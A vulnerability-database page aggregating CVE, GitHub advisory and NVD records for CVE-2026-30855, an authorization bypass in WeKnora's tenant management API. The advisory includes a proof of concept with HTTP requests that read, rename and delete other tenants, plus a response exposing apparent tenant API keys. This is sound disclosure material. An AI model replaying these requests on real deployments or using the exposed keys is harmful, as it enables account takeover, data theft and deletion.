Vulnerability-Lookup

CVE-2026-30855 (GCVE-0-2026-30855)

Vulnerability from cvelistv5 – Published: 2026-03-07 16:31 – Updated: 2026-03-09 18:24

Title

WeKnora: Broken Access Control in Tenant Management

Summary

WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. Prior to version 0.3.2, an authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical. This issue has been patched in version 0.3.2.

Severity ?

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-284 - Improper Access Control

Assigner

GitHub_M

References

URL

Tags

https://github.com/Tencent/WeKnora/security/advis…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	Tencent	WeKnora	Affected: < 0.3.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-30855",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-09T17:58:55.736531Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-09T18:24:39.227Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "WeKnora",
          "vendor": "Tencent",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.3.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. Prior to version 0.3.2, an authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical. This issue has been patched in version 0.3.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-284",
              "description": "CWE-284: Improper Access Control",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-07T16:31:10.564Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Tencent/WeKnora/security/advisories/GHSA-ccj6-79j6-cq5q",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Tencent/WeKnora/security/advisories/GHSA-ccj6-79j6-cq5q"
        }
      ],
      "source": {
        "advisory": "GHSA-ccj6-79j6-cq5q",
        "discovery": "UNKNOWN"
      },
      "title": "WeKnora: Broken Access Control in Tenant Management"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-30855",
    "datePublished": "2026-03-07T16:31:10.564Z",
    "dateReserved": "2026-03-05T21:27:35.342Z",
    "dateUpdated": "2026-03-09T18:24:39.227Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-30855\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-03-07T17:15:53.053\",\"lastModified\":\"2026-03-09T17:33:08.627\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. Prior to version 0.3.2, an authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical. This issue has been patched in version 0.3.2.\"},{\"lang\":\"es\",\"value\":\"WeKnora es un framework impulsado por LLM dise\u00f1ado para la comprensi\u00f3n profunda de documentos y la recuperaci\u00f3n sem\u00e1ntica. Antes de la versi\u00f3n 0.3.2, una omisi\u00f3n de autorizaci\u00f3n en los endpoints de gesti\u00f3n de inquilinos de la aplicaci\u00f3n WeKnora permite a cualquier usuario autenticado leer, modificar o eliminar cualquier inquilino por ID. Dado que el registro de cuentas est\u00e1 abierto al p\u00fablico, esta vulnerabilidad permite a cualquier atacante no autenticado registrar una cuenta y posteriormente explotar el sistema. Esto permite la toma de control y destrucci\u00f3n de cuentas entre inquilinos, haciendo que el impacto sea cr\u00edtico. Este problema ha sido parcheado en la versi\u00f3n 0.3.2.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":8.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.8,\"impactScore\":5.9}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-284\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:tencent:weknora:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"0.3.2\",\"matchCriteriaId\":\"E8CD2EAE-93F9-4249-9ED6-1896DA088B96\"}]}]}],\"references\":[{\"url\":\"https://github.com/Tencent/WeKnora/security/advisories/GHSA-ccj6-79j6-cq5q\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-30855\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-03-09T17:58:55.736531Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-03-09T17:58:56.726Z\"}}], \"cna\": {\"title\": \"WeKnora: Broken Access Control in Tenant Management\", \"source\": {\"advisory\": \"GHSA-ccj6-79j6-cq5q\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 8.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"Tencent\", \"product\": \"WeKnora\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 0.3.2\"}]}], \"references\": [{\"url\": \"https://github.com/Tencent/WeKnora/security/advisories/GHSA-ccj6-79j6-cq5q\", \"name\": \"https://github.com/Tencent/WeKnora/security/advisories/GHSA-ccj6-79j6-cq5q\", \"tags\": [\"x_refsource_CONFIRM\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. Prior to version 0.3.2, an authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical. This issue has been patched in version 0.3.2.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-284\", \"description\": \"CWE-284: Improper Access Control\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-03-07T16:31:10.564Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-30855\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-03-09T18:24:39.227Z\", \"dateReserved\": \"2026-03-05T21:27:35.342Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-03-07T16:31:10.564Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

GHSA-CCJ6-79J6-CQ5Q

Vulnerability from github – Published: 2026-03-06 23:53 – Updated: 2026-03-09 13:21

Summary

WeKnora Vulnerable to Broken Access Control in Tenant Management

Details

Summary

An authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical.

Details

The tenant management handlers do not validate that the caller owns the tenant or has cross-tenant privileges. The handlers parse the tenant ID from the path and directly call the service layer with that ID, returning or mutating the tenant without authorization checks.

Affected handlers: - GET /api/v1/tenants lists all tenants without ownership checks - GET /api/v1/tenants/{id} reads any tenant by ID without ownership checks - PUT /api/v1/tenants/{id} allows updating any tenant by ID without ownership checks - DELETE /api/v1/tenants/{id} allows deleting any tenant by ID without ownership checks

These endpoints do not enforce cross-tenant permissions or deny-by-default behavior, unlike ListAllTenants and SearchTenants.

PoC

1) Register a new account as a user in Tenant 10025 and obtain a bearer token or API key.

2) Read details of other tenants:

Request that uses API key via the X-API-Key header:

```http GET /api/v1/tenants HTTP/1.1 Host: localhost Connection: keep-alive X-Request-ID: 2TpH2S0sHyi1 X-API-Key: sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd sec-ch-ua-platform: "macOS" User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Accept: application/json, text/plain, / sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144" sec-ch-ua-mobile: ?0 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://weknora.serviceme.top/platform/knowledge-bases Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9

```
Response (truncated for brevity):

```http HTTP/1.1 200 OK Server: nginx/1.28.0 Date: Fri, 06 Feb 2026 03:12:22 GMT Content-Type: application/json; charset=utf-8 Connection: close X-Request-Id: 2TpH2S0sHyi1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: strict-origin-when-cross-origin

{ "data": { "items": [ { "id": 10025, "name": "injokerr's Workspace", "api_key": "sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd", "status": "active" }, { "id": 10001, "name": "viaim_yuweilong", "api_key": "sk-hocFTPZIYW9ixuUNbFidgSQ5eciSVcJkzE8Ns3BI6Ev-8cFe", "status": "active" } ] }, "success": true } ... ```

With API keys, we can do anything on the victim account's behalf, including reading sensitive data (LLM API keys, knowledge bases), modifying configurations, etc.

Requests to perform modification and deletion of another tenant.

1) Modify the victim tenant:

Request:
Method: PUT
URL: http://localhost:8088/api/v1/tenants/10001
Header: Authorization: Bearer <ATTACKER_TOKEN>
Body: { "name": "HACKED by tenant 10025" }
Expected response:
200 OK with the updated tenant object.

4) Delete the victim tenant:

Request:
Method: DELETE
URL: http://localhost:8088/api/v1/tenants/10001
Header: Authorization: Bearer <ATTACKER_TOKEN>
Expected response:
200 OK and the tenant is deleted.

Impact

This is a Broken Access Control (BOLA/IDOR) vulnerability in tenant management of WeKnora. Any user can access, modify, or delete tenants belonging to other customers, resulting in cross-tenant data exposure, account takeover, and destructive actions against other tenants. Moreover, when the account is taken over, attacker can read configured models to unauthorizedly extract sensitive data such as API keys of LLM services.

Severity ?

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.3.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/Tencent/WeKnora"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30855"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-06T23:53:53Z",
    "nvd_published_at": "2026-03-07T17:15:53Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nAn authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical.\n\n### Details\nThe tenant management handlers do not validate that the caller owns the tenant or has cross-tenant privileges. The handlers parse the tenant ID from the path and directly call the service layer with that ID, returning or mutating the tenant without authorization checks.\n\nAffected handlers:\n- `GET /api/v1/tenants` lists all tenants without ownership checks\n- `GET /api/v1/tenants/{id}` reads any tenant by ID without ownership checks\n- `PUT /api/v1/tenants/{id}` allows updating any tenant by ID without ownership checks\n- `DELETE /api/v1/tenants/{id}` allows deleting any tenant by ID without ownership checks\n\nThese endpoints do not enforce cross-tenant permissions or deny-by-default behavior, unlike `ListAllTenants` and `SearchTenants`.\n\n### PoC\n1) Register a new account as a user in Tenant 10025 and obtain a bearer token or API key.\n\n2) Read details of other tenants:\n\n  - Request that uses API key via the `X-API-Key` header:\n\n    ```http\n    GET /api/v1/tenants HTTP/1.1\n    Host: localhost\n    Connection: keep-alive\n    X-Request-ID: 2TpH2S0sHyi1\n    X-API-Key: sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd\n    sec-ch-ua-platform: \"macOS\"\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36\n    Accept: application/json, text/plain, */*\n    sec-ch-ua: \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"144\", \"Google Chrome\";v=\"144\"\n    sec-ch-ua-mobile: ?0\n    Sec-Fetch-Site: same-origin\n    Sec-Fetch-Mode: cors\n    Sec-Fetch-Dest: empty\n    Referer: https://weknora.serviceme.top/platform/knowledge-bases\n    Accept-Encoding: gzip, deflate, br, zstd\n    Accept-Language: en-US,en;q=0.9\n\n\n    ```\n\n\n  - Response (truncated for brevity):\n\n    ```http\n    HTTP/1.1 200 OK\n    Server: nginx/1.28.0\n    Date: Fri, 06 Feb 2026 03:12:22 GMT\n    Content-Type: application/json; charset=utf-8\n    Connection: close\n    X-Request-Id: 2TpH2S0sHyi1\n    X-Frame-Options: SAMEORIGIN\n    X-Content-Type-Options: nosniff\n    X-XSS-Protection: 1; mode=block\n    Referrer-Policy: strict-origin-when-cross-origin\n\n    {\n        \"data\": {\n            \"items\": [\n                {\n                    \"id\": 10025,\n                    \"name\": \"injokerr\u0027s Workspace\",\n                    \"api_key\": \"sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd\",\n                    \"status\": \"active\"\n                },\n                {\n                    \"id\": 10001,\n                    \"name\": \"viaim_yuweilong\",\n                    \"api_key\": \"sk-hocFTPZIYW9ixuUNbFidgSQ5eciSVcJkzE8Ns3BI6Ev-8cFe\",\n                    \"status\": \"active\"\n                }\n            ]\n        },\n        \"success\": true\n    }\n    ...\n    ```\n\nWith API keys, we can do anything on the victim account\u0027s behalf, including reading sensitive data (LLM API keys, knowledge bases), modifying configurations, etc.\n\nRequests to perform modification and deletion of another tenant.\n\n1) Modify the victim tenant:\n\n- Request:\n  - Method: `PUT`\n  - URL: `http://localhost:8088/api/v1/tenants/10001`\n  - Header: `Authorization: Bearer \u003cATTACKER_TOKEN\u003e`\n  - Body: `{ \"name\": \"HACKED by tenant 10025\" }`\n\n- Expected response:\n  - `200 OK` with the updated tenant object.\n\n4) Delete the victim tenant:\n\n- Request:\n  - Method: `DELETE`\n  - URL: `http://localhost:8088/api/v1/tenants/10001`\n  - Header: `Authorization: Bearer \u003cATTACKER_TOKEN\u003e`\n\n- Expected response:\n  - `200 OK` and the tenant is deleted.\n\n### Impact\n\nThis is a Broken Access Control (BOLA/IDOR) vulnerability in tenant management of WeKnora. Any user can access, modify, or delete tenants belonging to other customers, resulting in cross-tenant data exposure, account takeover, and destructive actions against other tenants. Moreover, when the account is taken over, attacker can read configured models to unauthorizedly extract sensitive data such as API keys of LLM services.",
  "id": "GHSA-ccj6-79j6-cq5q",
  "modified": "2026-03-09T13:21:37Z",
  "published": "2026-03-06T23:53:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Tencent/WeKnora/security/advisories/GHSA-ccj6-79j6-cq5q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30855"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Tencent/WeKnora"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WeKnora Vulnerable to Broken Access Control in Tenant Management"
}

FKIE_CVE-2026-30855

Vulnerability from fkie_nvd - Published: 2026-03-07 17:15 - Updated: 2026-03-09 17:33

Severity ?

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/Tencent/WeKnora/security/advisories/GHSA-ccj6-79j6-cq5q	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	tencent	weknora	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:tencent:weknora:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "E8CD2EAE-93F9-4249-9ED6-1896DA088B96",
              "versionEndExcluding": "0.3.2",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WeKnora is an LLM-powered framework designed for deep document understanding and semantic retrieval. Prior to version 0.3.2, an authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical. This issue has been patched in version 0.3.2."
    },
    {
      "lang": "es",
      "value": "WeKnora es un framework impulsado por LLM dise\u00f1ado para la comprensi\u00f3n profunda de documentos y la recuperaci\u00f3n sem\u00e1ntica. Antes de la versi\u00f3n 0.3.2, una omisi\u00f3n de autorizaci\u00f3n en los endpoints de gesti\u00f3n de inquilinos de la aplicaci\u00f3n WeKnora permite a cualquier usuario autenticado leer, modificar o eliminar cualquier inquilino por ID. Dado que el registro de cuentas est\u00e1 abierto al p\u00fablico, esta vulnerabilidad permite a cualquier atacante no autenticado registrar una cuenta y posteriormente explotar el sistema. Esto permite la toma de control y destrucci\u00f3n de cuentas entre inquilinos, haciendo que el impacto sea cr\u00edtico. Este problema ha sido parcheado en la versi\u00f3n 0.3.2."
    }
  ],
  "id": "CVE-2026-30855",
  "lastModified": "2026-03-09T17:33:08.627",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-07T17:15:53.053",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/Tencent/WeKnora/security/advisories/GHSA-ccj6-79j6-cq5q"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-284"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-30855 (GCVE-0-2026-30855)

GHSA-CCJ6-79J6-CQ5Q

Summary

Details

PoC

Impact

FKIE_CVE-2026-30855

Tags

Sightings

Nomenclature